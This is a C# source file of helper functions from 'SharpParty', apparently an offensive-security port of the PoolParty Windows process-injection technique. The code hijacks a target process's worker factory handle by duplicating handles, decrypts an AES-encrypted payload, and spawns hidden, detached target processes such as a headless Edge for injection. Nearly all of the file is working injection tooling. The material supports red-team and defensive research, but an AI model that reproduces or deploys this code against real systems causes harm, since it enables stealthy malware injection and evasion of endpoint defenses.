/** * BSD 3-Clause License * Copyright (c) 2023-2024, SafeBreach Labs * Copyright (c) 2025, Stroz Friedberg * All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections; using System.IO; using System.Runtime.ExceptionServices; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Cryptography; using static SharpParty.Enums; using static SharpParty.Structs; using static SharpParty.Win32; using static SharpParty.Constants; using System.Text; namespace SharpParty { internal static class HelperFuncs { public static unsafe IntPtr NtQueryObjectImpl(IntPtr handle, _OBJECT_INFORMATION_CLASS objInfoClass) { IntPtr info = IntPtr.Zero; ulong infoLen = 0; uint ntStatus = STATUS_INFO_LENGTH_MISMATCH; uint ctr = 0; do { info = realloc(info, infoLen); ntStatus = NtQueryObject(handle, objInfoClass, info, infoLen, ref infoLen); ctr++; } while (STATUS_INFO_LENGTH_MISMATCH == ntStatus & ctr <= 50); return info; } public static unsafe _WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryInfo(IntPtr handle, _QUERY_WORKERFACTORYINFOCLASS workerFactoryInfoClass) { IntPtr info = IntPtr.Zero; ulong infoLen = 0; uint ntStatus = STATUS_INFO_LENGTH_MISMATCH; uint ctr = 0; do { info = realloc(info, infoLen); ntStatus = NtQueryInformationWorkerFactory(handle, workerFactoryInfoClass, info, infoLen, ref infoLen); ctr++; } while (STATUS_INFO_LENGTH_MISMATCH == ntStatus & ctr <= 50); return *(_WORKER_FACTORY_BASIC_INFORMATION*)info; } [HandleProcessCorruptedStateExceptions] public static unsafe PROCESS_HANDLE_SNAPSHOT_INFORMATION GetProcessHandleSnapshotInformation(IntPtr info) { _PROCESS_HANDLE_SNAPSHOT_INFORMATION* snapshotInfoPtr = (_PROCESS_HANDLE_SNAPSHOT_INFORMATION*)info; int handlesSize = (int)snapshotInfoPtr->NumberOfHandles.ToInt64() * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO); if (handlesSize >= Int32.MaxValue | handlesSize <= 0) { Console.WriteLine("[-] ERROR: Array size is too big, most likely due to NumberOfHandles being incorrect or improper access of target process. Aborting handle hijacking.."); return new PROCESS_HANDLE_SNAPSHOT_INFORMATION(); } PROCESS_HANDLE_TABLE_ENTRY_INFO[] handles = new PROCESS_HANDLE_TABLE_ENTRY_INFO[handlesSize]; for (int i = 0; i < handlesSize; i++) { IntPtr handlePtr = new IntPtr(&snapshotInfoPtr->Handles[i]); try { handles[i] = Marshal.PtrToStructure(handlePtr); } catch (Exception) { handles[i] = new PROCESS_HANDLE_TABLE_ENTRY_INFO(); } } return new PROCESS_HANDLE_SNAPSHOT_INFORMATION { NumberOfHandles = snapshotInfoPtr->NumberOfHandles, Reserved = snapshotInfoPtr->Reserved, Handles = handles }; } // Based on: https://github.com/0xEr3bus/PoolPartyBof/blob/a6443ad782f7241a094e9751e0a77e24677e12b3/src/PoolPartyBof.h#L799 public static unsafe IntPtr HijackTargetHandle(IntPtr tProcHandle, string targetType) { Console.WriteLine("[*] Starting hijack of target processes' worker factory handle."); IntPtr info = IntPtr.Zero; ulong infoLen = 0; uint ntStatus = STATUS_INFO_LENGTH_MISMATCH; do { info = realloc(info, infoLen); ntStatus = NtQueryInformationProcess(tProcHandle, PROCESSINFOCLASS.ProcessHandleInformation, info, infoLen, ref infoLen); } while (STATUS_INFO_LENGTH_MISMATCH == ntStatus); PROCESS_HANDLE_SNAPSHOT_INFORMATION procHandleInfo = GetProcessHandleSnapshotInformation(info); for (int i = 0; i < procHandleInfo.Handles.Length; i++) { IntPtr duplicatedObject = IntPtr.Zero; PROCESS_HANDLE_TABLE_ENTRY_INFO procHandleTable = procHandleInfo.Handles[i]; IntPtr procHandleValue = procHandleTable.HandleValue; bool duped = DuplicateHandle(tProcHandle, procHandleValue, GetCurrentProcess(), ref duplicatedObject, (uint)WORKER_ACCESS_RIGHTS.WORKER_FACTORY_ALL_ACCESS, false, (DUPLICATE_HANDLE_OPTIONS)IntPtr.Zero); if (!duped) { continue; // Go to next iteration to prevent access violation of accessing a handle that wasn't properly duped } IntPtr pObjectInfo = IntPtr.Zero; pObjectInfo = NtQueryObjectImpl(duplicatedObject, _OBJECT_INFORMATION_CLASS.ObjectTypeInformation); _PUBLIC_OBJECT_TYPE_INFORMATION* pObjTypeInfo = (_PUBLIC_OBJECT_TYPE_INFORMATION*)pObjectInfo; if (!targetType.Equals(pObjTypeInfo->TypeName.ToString())) { continue; // Go to next iteration if we don't see the target type } return duplicatedObject; } return IntPtr.Zero; } public static T[] SubArray(this T[] data, int index, int length) { T[] result = new T[length]; Array.Copy(data, index, result, 0, length); return result; } public static byte[] aesDecrypt(byte[] cipher, byte[] key) { var IV = SubArray(cipher, 0, 16); var encMsg = SubArray(cipher, 16, cipher.Length - 16); using (Aes aes = Aes.Create()) { aes.Padding = PaddingMode.PKCS7; aes.KeySize = 128; aes.Key = key; aes.IV = IV; using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)) { cs.Write(encMsg, 0, encMsg.Length); } return ms.ToArray(); } } } public static int CreateTargetProcess(string name) { Console.WriteLine("[*] Creating target process (" + name + ") for injection."); STARTUPINFO si = new STARTUPINFO(); si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); string cmd = ""; if (name.EndsWith("msedge.exe")) { cmd = "\"" + name + "\" --user-data-dir=..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp\\edge_data --headless=new https://exploit-db.com"; } else { cmd = "\"" + name + "\""; } bool res = CreateProcess(null, cmd, IntPtr.Zero, IntPtr.Zero, false, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW | DETACHED_PROCESS, IntPtr.Zero, null, ref si, out pi); if (res) { Console.WriteLine("[+] Target process created with PID = {0:d}", pi.dwProcessId); return pi.dwProcessId; } else { Console.WriteLine("[*] DEBUG - Failed to create process with error code 0x{0:X16}", Marshal.GetLastWin32Error()); return -1; } } public static string[] ValidateCandidates() { ArrayList candidates = new ArrayList(); foreach (string candidate in CreateCandidatesToCheck) { if (File.Exists(candidate)) { candidates.Add(candidate); } } return (string[])candidates.ToArray(typeof(string)); } public static string PickCandidate(string[] candidates) { Random rnd = new Random(); int rndIdx = rnd.Next(0, candidates.Length); return candidates[rndIdx]; } public static IntPtr GetHandleForProc(int pid) { uint targetAccess = (uint)(PROCESS_ACCESS_RIGHTS.PROCESS_VM_READ | PROCESS_ACCESS_RIGHTS.PROCESS_VM_WRITE | PROCESS_ACCESS_RIGHTS.PROCESS_VM_OPERATION | PROCESS_ACCESS_RIGHTS.PROCESS_DUP_HANDLE | PROCESS_ACCESS_RIGHTS.PROCESS_QUERY_INFORMATION); IntPtr tProcHandle = OpenProcess(targetAccess, false, pid); if (tProcHandle == IntPtr.Zero) { int err = Marshal.GetLastWin32Error(); switch (err) { case 5: Console.WriteLine("[-] ERROR: Access denied for target process. PoolParty failed."); break; default: Console.WriteLine("[-] ERROR: Win32 API returned an error code (0x{0:X16}) - refer to https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55", err); break; } return IntPtr.Zero; } Console.WriteLine("[+] Got handle to target process - (0x{0:X16})", tProcHandle.ToInt64()); return tProcHandle; } public static string genRandomName(int len) { Random rnd = new Random(); string alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; StringBuilder s = new StringBuilder(len); for (int i = 0; i < len; i++) { s.Append(alpha[rnd.Next(alpha.Length)]); } return s.ToString(); } } }